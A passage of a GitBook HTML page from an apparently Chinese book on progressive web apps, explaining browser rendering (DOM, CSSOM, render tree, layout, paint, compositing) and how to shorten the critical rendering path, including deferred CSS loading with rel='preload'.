</li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >8.2 渲染性能 </a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6E32;&#x67D3;&#x6027;&#x80FD;\"><b></b>&#x6E32;&#x67D3;&#x6027;&#x80FD;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6E32;&#x67D3;&#x6D41;&#x7A0B;\"><b></b>&#x6E32;&#x67D3;&#x6D41;&#x7A0B;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5173;&#x952E;&#x6E32;&#x67D3;&#x8DEF;&#x5F84;\"><b></b>&#x5173;&#x952E;&#x6E32;&#x67D3;&#x8DEF;&#x5F84;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5EF6;&#x8FDF;&#x975E;&#x5173;&#x952E;-css-&#x52A0;&#x8F7D;\"><b></b>&#x5EF6;&#x8FDF;&#x975E;&#x5173;&#x952E; CSS &#x52A0;&#x8F7D;</a></li><li><span class=\"title-icon \"></span><a href=\"#async-&#x548C;-defer\"><b></b>async &#x548C; defer</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x975E;&#x963B;&#x585E;-javascript\"><b></b>&#x975E;&#x963B;&#x585E; JavaScript</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x9875;&#x9762;&#x6EDA;&#x52A8;\"><b></b>&#x9875;&#x9762;&#x6EDA;&#x52A8;</a></li><li><span class=\"title-icon \"></span><a href=\"#requestanimationframe\"><b></b>requestAnimationFrame</a></li><li><span class=\"title-icon \"></span><a href=\"#requestidlecallback\"><b></b>requestIdleCallback</a></li><li><span class=\"title-icon \"></span><a href=\"#web-workers\"><b></b>Web Workers</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x964D;&#x4F4E;&#x6E32;&#x67D3;&#x6811;&#x8BA1;&#x7B97;&#x590D;&#x6742;&#x6027;\"><b></b>&#x964D;&#x4F4E;&#x6E32;&#x67D3;&#x6811;&#x8BA1;&#x7B97;&#x590D;&#x6742;&#x6027;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x51CF;&#x5C11;&#x5E03;&#x5C40;&#x6B21;&#x6570;\"><b></b>&#x51CF;&#x5C11;&#x5E03;&#x5C40;&#x6B21;&#x6570;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4F18;&#x5316;&#x7ED8;&#x5236;&#x4E0E;&#x5408;&#x6210;\"><b></b>&#x4F18;&#x5316;&#x7ED8;&#x5236;&#x4E0E;&#x5408;&#x6210;</a></li></ul></ul></div><a href=\"#&#x6E32;&#x67D3;&#x6027;&#x80FD;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x6E32;&#x67D3;&#x6027;&#x80FD;\"><a name=\"&#x6E32;&#x67D3;&#x6027;&#x80FD;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6E32;&#x67D3;&#x6027;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6E32;&#x67D3;&#x6027;&#x80FD;\" class=\"plugin-anchor\" href=\"#&#x6E32;&#x67D3;&#x6027;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6E32;&#x67D3;&#x6027;&#x80FD;</h1>\n<p>&#x5728;&#x4E0A;&#x6587;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x4ECE;&#x591A;&#x4E2A;&#x89D2;&#x5EA6;&#x8BA8;&#x8BBA;&#x4E86;&#x5982;&#x4F55;&#x4F18;&#x5316;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x6027;&#x80FD;&#x3002;&#x4F46;&#x4E00;&#x4E2A;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x826F;&#x597D;&#x7684;&#x9875;&#x9762;&#xFF0C;&#x4E0D;&#x4EC5;&#x8981;&#x5FEB;&#x901F;&#x52A0;&#x8F7D;&#xFF0C;&#x8FD8;&#x9700;&#x8981;&#x6709;&#x4E00;&#x7CFB;&#x5217;&#x6D41;&#x7545;&#x7684;&#x4EA4;&#x4E92;&#x3002;&#x4ECE;&#x800C;&#xFF0C;&#x8FD9;&#x4E00;&#x8282;&#x6211;&#x4EEC;&#x628A;&#x76EE;&#x5149;&#x6295;&#x5411;&#x9875;&#x9762;&#x6E32;&#x67D3;&#x6027;&#x80FD;&#x3002;</p>\n<h2 id=\"&#x6E32;&#x67D3;&#x6D41;&#x7A0B;\"><a name=\"&#x6E32;&#x67D3;&#x6D41;&#x7A0B;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6E32;&#x67D3;&#x6D41;&#x7A0B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6E32;&#x67D3;&#x6D41;&#x7A0B;\" class=\"plugin-anchor\" href=\"#&#x6E32;&#x67D3;&#x6D41;&#x7A0B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6E32;&#x67D3;&#x6D41;&#x7A0B;</h2>\n<p>&#x6D4F;&#x89C8;&#x5668;&#x5728;&#x6E32;&#x67D3;&#x9875;&#x9762;&#x524D;&#xFF0C;&#x9996;&#x5148;&#x4F1A;&#x5C06; HTML &#x6587;&#x672C;&#x5185;&#x5BB9;&#x89E3;&#x6790;&#x4E3A; DOM&#xFF0C;&#x5C06; CSS &#x89E3;&#x6790;&#x4E3A; CSSOM&#x3002;DOM &#x548C; CSSOM &#x90FD;&#x662F;&#x6811;&#x72B6;&#x6570;&#x636E;&#x7ED3;&#x6784;&#xFF0C;&#x4E24;&#x8005;&#x76F8;&#x4E92;&#x72EC;&#x7ACB;&#xFF0C;&#x4F46;&#x53C8;&#x6709;&#x76F8;&#x4F3C;&#x4E4B;&#x5904;&#x3002;DOM &#x6811;&#x63CF;&#x8FF0;&#x4E86; HTML &#x6807;&#x7B7E;&#x7684;&#x5C5E;&#x6027;&#xFF0C;&#x4EE5;&#x53CA;&#x6807;&#x7B7E;&#x4E4B;&#x95F4;&#x7684;&#x5D4C;&#x5957;&#x5173;&#x7CFB;&#xFF0C;&#x5982; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5BF9;&#x8C61;&#x7684;&#x5B50;&#x8282;&#x70B9;&#x5305;&#x542B; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x548C; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5BF9;&#x8C61;&#xFF0C;&#x800C; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5BF9;&#x8C61;&#x7684;&#x5B50;&#x8282;&#x70B9;&#x53EF;&#x80FD;&#x6709; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5BF9;&#x8C61;&#x7B49;&#x3002;CSSOM &#x6811;&#x4E0E; DOM &#x6811;&#x7C7B;&#x4F3C;&#xFF0C;&#x4F46;&#x8282;&#x70B9;&#x63CF;&#x8FF0;&#x7684;&#x662F;&#x7531; CSS &#x89E3;&#x6790;&#x5F97;&#x5230;&#x7684;&#x9009;&#x62E9;&#x5668;&#x53CA;&#x5176;&#x6837;&#x5F0F;&#x4FE1;&#x606F;&#x3002;</p>\n<p>&#x63A5;&#x7740;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x5C06; DOM &#x548C; CSSOM &#x6811;&#x5408;&#x5E76;&#x6210;&#x6E32;&#x67D3;&#x6811;&#x3002;&#x4ECE; DOM &#x6811;&#x7684;&#x6839;&#x8282;&#x70B9;&#x5F00;&#x59CB;&#x904D;&#x5386;&#xFF0C;&#x5E76;&#x5728; CSSOM &#x6811;&#x4E2D;&#x67E5;&#x627E;&#x8282;&#x70B9;&#x5BF9;&#x5E94;&#x7684;&#x6837;&#x5F0F;&#x89C4;&#x5219;&#xFF0C;&#x5408;&#x5E76;&#x6210;&#x6E32;&#x67D3;&#x6811;&#x4E2D;&#x7684;&#x8282;&#x70B9;&#x3002;&#x5728;&#x904D;&#x5386;&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#xFF0C;&#x4E0D;&#x53EF;&#x89C1;&#x7684;&#x8282;&#x70B9;&#x5C06;&#x4F1A;&#x88AB;&#x5FFD;&#x7565;&#xFF0C;&#x5982; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span></code>&#x3001;<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7B49;&#x6807;&#x7B7E;&#xFF0C;&#x4EE5;&#x53CA;&#x6837;&#x5F0F;&#x4E2D;&#x542B;&#x6709; <code>display: none</code> &#x7684;&#x8282;&#x70B9;&#xFF0C;&#x4F46;&#x542B;&#x6709; <code>visibility: hidden</code> &#x7684;&#x8282;&#x70B9;&#x4F1A;&#x88AB;&#x4FDD;&#x7559;&#x3002;&#x8FD9;&#x4E5F;&#x662F;&#x4E3A;&#x4EC0;&#x4E48;&#x540E;&#x8005;&#x4ECD;&#x4F1A;&#x5728;&#x9875;&#x9762;&#x4E2D;&#x5360;&#x636E;&#x5E03;&#x5C40;&#x7A7A;&#x95F4;&#x7684;&#x539F;&#x56E0;&#x3002;</p>\n<p>&#x6E32;&#x67D3;&#x6811;&#x968F;&#x540E;&#x4F1A;&#x88AB;&#x7528;&#x4E8E;&#x5E03;&#x5C40;&#xFF0C;&#x5C31;&#x662F;&#x8BA1;&#x7B97;&#x6E32;&#x67D3;&#x6811;&#x8282;&#x70B9;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x89C6;&#x53E3;&#x4E2D;&#x786E;&#x5207;&#x7684;&#x4F4D;&#x7F6E;&#x548C;&#x5927;&#x5C0F;&#x3002;&#x5E03;&#x5C40;&#x7684;&#x8FC7;&#x7A0B;&#x5341;&#x5206;&#x590D;&#x6742;&#x3002;&#x6BD4;&#x5982;&#xFF0C;&#x4E00;&#x4E2A;&#x666E;&#x901A;&#x7684;&#x5757;&#x7EA7;&#x5143;&#x7D20;&#xFF0C;&#x5176;&#x5BBD;&#x5EA6;&#x4F1A;&#x4F9D;&#x8D56;&#x4E8E;&#x7236;&#x5143;&#x7D20;&#x7684;&#x5BBD;&#x5EA6;&#xFF0C;&#x800C;&#x9AD8;&#x5EA6;&#x5219;&#x4F1A;&#x4F9D;&#x8D56;&#x8FD9;&#x4E2A;&#x5143;&#x7D20;&#x7684;&#x5185;&#x5BB9;&#x3002;&#x53C8;&#x6BD4;&#x5982;&#xFF0C;&#x591A;&#x4E2A;&#x666E;&#x901A;&#x7684;&#x5757;&#x7EA7;&#x5143;&#x7D20;&#xFF0C;&#x539F;&#x672C;&#x53EA;&#x4F1A;&#x5728;&#x9875;&#x9762;&#x4E2D;&#x4ECE;&#x4E0A;&#x5230;&#x4E0B;&#x6392;&#x5217;&#xFF0C;&#x4F46;&#x901A;&#x8FC7; Flexbox&#x3001;&#x6D6E;&#x52A8;&#x6216;&#x5B9A;&#x4F4D;&#xFF0C;&#x4F1A;&#x6539;&#x53D8;&#x5143;&#x7D20;&#x5E03;&#x5C40;&#x7684;&#x884C;&#x4E3A;&#x3002;&#x663E;&#x800C;&#x6613;&#x89C1;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x8FDB;&#x884C;&#x4E00;&#x6B21;&#x5E03;&#x5C40;&#x7684;&#x6027;&#x80FD;&#x5F00;&#x9500;&#x8F83;&#x5927;&#xFF0C;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x5C0F;&#x5FC3;&#x5730;&#x907F;&#x514D;&#x9891;&#x7E41;&#x89E6;&#x53D1;&#x9875;&#x9762;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#x3002;</p>\n<p>&#x5F97;&#x5230;&#x6E32;&#x67D3;&#x6811;&#x8282;&#x70B9;&#x7684;&#x51E0;&#x4F55;&#x5E03;&#x5C40;&#x4FE1;&#x606F;&#x540E;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5C31;&#x53EF;&#x4EE5;&#x5C06;&#x8282;&#x70B9;&#x7ED8;&#x5236;&#x5230;&#x5C4F;&#x5E55;&#x4E0A;&#x4E86;&#xFF0C;&#x5305;&#x62EC;&#x7ED8;&#x5236;&#x6587;&#x672C;&#x3001;&#x989C;&#x8272;&#x3001;&#x8FB9;&#x6846;&#x548C;&#x9634;&#x5F71;&#x7B49;&#x3002;&#x7ED8;&#x5236;&#x7684;&#x8FC7;&#x7A0B;&#xFF0C;&#x975E;&#x5E38;&#x7B80;&#x7565;&#x5730;&#x8BF4;&#xFF0C;&#x9996;&#x5148;&#x4F1A;&#x6839;&#x636E;&#x5E03;&#x5C40;&#x548C;&#x89C6;&#x89C9;&#x76F8;&#x5173;&#x7684;&#x6837;&#x5F0F;&#x4FE1;&#x606F;&#x751F;&#x6210;&#x4E00;&#x7CFB;&#x5217;&#x7ED8;&#x5236;&#x64CD;&#x4F5C;&#xFF0C;&#x968F;&#x540E;&#x6267;&#x884C;&#x6805;&#x683C;&#x5316;&#xFF08;&#x6805;&#x683C;&#x5316;&#x662F;&#x5C06;&#x5411;&#x91CF;&#x56FE;&#x5F62;&#x683C;&#x5F0F;&#x8868;&#x793A;&#x7684;&#x56FE;&#x50CF;&#x8F6C;&#x6362;&#x6210;&#x4F4D;&#x56FE;&#x4EE5;&#x7528;&#x4E8E;&#x663E;&#x793A;&#x5668;&#x6216;&#x8005;&#x6253;&#x5370;&#x673A;&#x8F93;&#x51FA;&#x7684;&#x8FC7;&#x7A0B;&#xFF09;&#xFF0C;&#x5C06;&#x5F85;&#x7ED8;&#x5236;&#x9879;&#x8F6C;&#x6362;&#x4E3A;&#x4F4D;&#x56FE;&#x5B58;&#x50A8;&#x5728; GPU &#x4E2D;&#xFF0C;&#x6700;&#x7EC8;&#x901A;&#x8FC7;&#x56FE;&#x5F62;&#x5E93;&#x5C06;&#x50CF;&#x7D20;&#x7ED8;&#x5236;&#x5728;&#x5C4F;&#x5E55;&#x4E0A;&#x3002;</p>\n<p>&#x9875;&#x9762;&#x4E0D;&#x662F;&#x4E00;&#x6B21;&#x6027;&#x88AB;&#x7ED8;&#x5236;&#x51FA;&#x6765;&#x7684;&#x3002;&#x5B9E;&#x9645;&#x4E0A;&#xFF0C;&#x9875;&#x9762;&#x88AB;&#x5206;&#x6210;&#x4E86;&#x591A;&#x4E2A;&#x56FE;&#x5C42;&#x8FDB;&#x884C;&#x7ED8;&#x5236;&#xFF0C;&#x8FD9;&#x4E9B;&#x56FE;&#x5C42;&#x4F1A;&#x5728;&#x53E6;&#x4E00;&#x4E2A;&#x5355;&#x72EC;&#x7684;&#x7EBF;&#x7A0B;&#x91CC;&#x7ED8;&#x5236;&#x5230;&#x5C4F;&#x5E55;&#x4E0A;&#xFF0C;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x88AB;&#x79F0;&#x4F5C;&#x5408;&#x6210;&#x3002;&#x5408;&#x6210;&#x7EBF;&#x7A0B;&#x53EF;&#x4EE5;&#x5BF9;&#x56FE;&#x5C42;&#x8FDB;&#x884C;&#x526A;&#x5207;&#x3001;&#x53D8;&#x6362;&#x7B49;\u0010\u0010&#x5904;&#x7406;&#xFF0C;&#x56E0;&#x6B64;&#x53EF;&#x4EE5;&#x7528;&#x4E8E;&#x54CD;&#x5E94;&#x7528;&#x6237;&#x57FA;&#x672C;&#x7684;&#x6EDA;&#x52A8;&#x3001;&#x7F29;&#x653E;&#x7B49;&#x64CD;&#x4F5C;&#xFF0C;&#x53C8;&#x4E0D;&#x4F1A;&#x53D7;&#x5230;&#x4E3B;&#x7EBF;&#x7A0B;&#x963B;&#x585E;&#x7684;&#x5F71;&#x54CD;&#x3002;</p>\n<p>&#x5230;&#x76EE;&#x524D;&#x4E3A;&#x6B62;&#xFF0C;&#x5728;&#x7ECF;&#x5386;&#x4E86;&#x6784;&#x5EFA; DOM &#x548C; CSSOM&#x3001;&#x6784;&#x5EFA;&#x6E32;&#x67D3;&#x6811;&#x3001;&#x5E03;&#x5C40;&#x3001;&#x7ED8;&#x5236;&#x3001;&#x5408;&#x6210;&#x7B49;&#x591A;&#x4E2A;&#x6B65;&#x9AA4;&#x540E;&#xFF0C;&#x6E32;&#x67D3;&#x7684;&#x57FA;&#x672C;&#x6D41;&#x7A0B;&#x5C31;&#x7ED3;&#x675F;&#x4E86;&#x3002;&#x4F46;&#x6211;&#x4EEC;&#x80FD;&#x901A;&#x8FC7; JavaScript &#x64CD;&#x4F5C; DOM &#x6216;&#x4FEE;&#x6539;&#x6837;&#x5F0F;&#xFF0C;&#x8FD9;&#x4F1A;&#x5BFC;&#x81F4;&#x6E32;&#x67D3;&#x6811;&#x7684;&#x91CD;&#x65B0;&#x8BA1;&#x7B97;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x53EF;&#x80FD;&#x9700;&#x8981;&#x5BF9;&#x9875;&#x9762;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#x3001;&#x91CD;&#x7ED8;&#x4E0E;&#x5408;&#x6210;&#x3002;</p>\n<h2 id=\"&#x5173;&#x952E;&#x6E32;&#x67D3;&#x8DEF;&#x5F84;\"><a name=\"&#x5173;&#x952E;&#x6E32;&#x67D3;&#x8DEF;&#x5F84;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5173;&#x952E;&#x6E32;&#x67D3;&#x8DEF;&#x5F84;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5173;&#x952E;&#x6E32;&#x67D3;&#x8DEF;&#x5F84;\" class=\"plugin-anchor\" href=\"#&#x5173;&#x952E;&#x6E32;&#x67D3;&#x8DEF;&#x5F84;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5173;&#x952E;&#x6E32;&#x67D3;&#x8DEF;&#x5F84;</h2>\n<p>&#x901A;&#x8FC7;&#x4E0A;&#x6587;&#x7684;&#x4ECB;&#x7ECD;&#xFF0C;&#x6211;&#x4EEC;&#x77E5;&#x9053;&#x6E32;&#x67D3;&#x6811;&#x662F;&#x7531; DOM &#x548C; CSSOM &#x7EC4;&#x5408;&#x800C;&#x6210;&#x7684;&#x3002;&#x56E0;&#x6B64;&#xFF0C;&#x5728; HTML &#x548C; CSS &#x6CA1;&#x6709;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x524D;&#xFF0C;&#x9875;&#x9762;&#x4E0D;&#x4F1A;&#x6E32;&#x67D3;&#x4EFB;&#x4F55;&#x5185;&#x5BB9;&#x3002;&#x6362;&#x53E5;&#x8BDD;&#x8BF4;&#xFF0C;HTML &#x548C; CSS &#x90FD;&#x662F;&#x4F1A;&#x963B;&#x585E;&#x9875;&#x9762;&#x6E32;&#x67D3;&#x7684;&#x8D44;&#x6E90;&#x3002;&#x9664;&#x6B64;&#x4E4B;&#x5916;&#xFF0C;JavaScript &#x4E5F;&#x4F1A;&#x963B;&#x585E;&#x9875;&#x9762;&#x6E32;&#x67D3;&#x3002;&#x6D4F;&#x89C8;&#x5668;&#x5728;&#x89E3;&#x6790; HTML &#x65F6;&#xFF0C;&#x5982;&#x679C;&#x9047;&#x5230; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x65F6;&#xFF0C;&#x4E00;&#x822C;&#x4F1A;&#x6682;&#x505C;&#x89E3;&#x6790;&#xFF0C;&#x76F4;&#x5230; JavaScript &#x6267;&#x884C;&#x5B8C;&#x6BD5;&#x540E;&#x624D;&#x4F1A;&#x7EE7;&#x7EED;&#x89E3;&#x6790;&#x5269;&#x4F59;&#x7684; HTML&#x3002;&#x5BF9;&#x4E8E;&#x5916;&#x90E8; JavaScript&#xFF0C;&#x5728;&#x6267;&#x884C;&#x524D;&#x8FD8;&#x9700;&#x989D;&#x5916;&#x7B49;&#x5F85;&#x8BF7;&#x6C42;&#x7684;&#x65F6;&#x95F4;&#x3002;&#x8FD9;&#x4E9B;&#x9996;&#x5C4F;&#x6E32;&#x67D3;&#x6240;&#x5FC5;&#x987B;&#x7684;&#x5173;&#x952E;&#x8D44;&#x6E90;&#xFF0C;&#x5171;&#x540C;&#x7EC4;&#x6210;&#x4E86;&#x5173;&#x952E;&#x6E32;&#x67D3;&#x8DEF;&#x5F84;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x6211;&#x4EEC;&#x4F1A;&#x8BA8;&#x8BBA;&#x5982;&#x4F55;&#x901A;&#x8FC7;&#x7F29;&#x77ED;&#x5173;&#x952E;&#x6E32;&#x67D3;&#x8DEF;&#x5F84;&#x6765;&#x4F18;&#x5316;&#x9996;&#x5C4F;&#x6027;&#x80FD;&#x3002;</p>\n<h3 id=\"&#x5EF6;&#x8FDF;&#x975E;&#x5173;&#x952E;-css-&#x52A0;&#x8F7D;\"><a name=\"&#x5EF6;&#x8FDF;&#x975E;&#x5173;&#x952E;-css-&#x52A0;&#x8F7D;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5EF6;&#x8FDF;&#x975E;&#x5173;&#x952E;-css-&#x52A0;&#x8F7D;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5EF6;&#x8FDF;&#x975E;&#x5173;&#x952E;-css-&#x52A0;&#x8F7D;\" class=\"plugin-anchor\" href=\"#&#x5EF6;&#x8FDF;&#x975E;&#x5173;&#x952E;-css-&#x52A0;&#x8F7D;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5EF6;&#x8FDF;&#x975E;&#x5173;&#x952E; CSS &#x52A0;&#x8F7D;</h3>\n<p>&#x901A;&#x8FC7; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>stylesheet<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x5F15;&#x7528;&#x7684; CSS &#x90FD;&#x4F1A;&#x5728;&#x52A0;&#x8F7D;&#x65F6;&#x963B;&#x585E;&#x9875;&#x9762;&#x6E32;&#x67D3;&#x3002;&#x4F46; Web &#x5E94;&#x7528;&#x4E2D;&#x5F80;&#x5F80;&#x4F1A;&#x6709;&#x4E00;&#x4E9B;&#x9996;&#x5C4F;&#x6E32;&#x67D3;&#x65F6;&#x7528;&#x4E0D;&#x5230;&#x7684; CSS&#xFF0C;&#x5982;&#x5F39;&#x6846;&#x7684;&#x6837;&#x5F0F;&#x7B49;&#x3002;&#x4E3A;&#x4E86;&#x4F7F;&#x8FD9;&#x4E9B;&#x975E;&#x5173;&#x952E; CSS &#x4E0D;&#x963B;&#x585E;&#x9875;&#x9762;&#x6E32;&#x67D3;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x522B;&#x7684;&#x9014;&#x5F84;&#x58F0;&#x660E; CSS &#x7684;&#x52A0;&#x8F7D;&#x3002;</p>\n<p>&#x5728;&#x4E0A;&#x6587; <a href=\"1-loading-performance.html\">&#x52A0;&#x8F7D;&#x6027;&#x80FD;</a> &#x4E2D;&#x63D0;&#x5230;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x9884;&#x52A0;&#x8F7D;&#x6211;&#x4EEC;&#x6240;&#x9700;&#x7684;&#x8D44;&#x6E90;&#x3002;&#x8FD9;&#x91CC;&#x4EC5;&#x9700;&#x7A0D;&#x4F5C;&#x6539;&#x52A8;&#xFF0C;&#x5C31;&#x80FD;&#x6EE1;&#x8DB3;&#x6211;&#x4EEC;&#x7684;&#x8981;&#x6C42;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE HTML&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token comment\">&lt;!-- ... --&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">as</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>style<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/dist/index.css<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">onload</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>this.onload=null;this.rel=&apos;stylesheet&apos;<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token comment\">&lt;!-- ... --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x4E0A;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x975E;&#x5E38;&#x76F4;&#x89C2;&#xFF0C;&#x6211;&#x4EEC;&#x5728; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x4E2D;&#x76D1;&#x542C;&#x4E86; <code>onload</code> &#x4E8B;&#x4EF6;&#xFF0C;&#x5E76;&#x5728; CSS &#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x540E;&#xFF0C;&#x901A;&#x8FC7;&#x4FEE;&#x6539; <code>rel</code> &#x4E3A; <code>stylesheet</code> &#x6765;&#x5C06; CSS &#x5E94;&#x7528;&#x5230;&#x9875;&#x9762;&#x4E0A;&#xFF0C;&#x8FD9;&#x5C31;&#x7ED5;&#x8FC7;&#x4E86; CSS 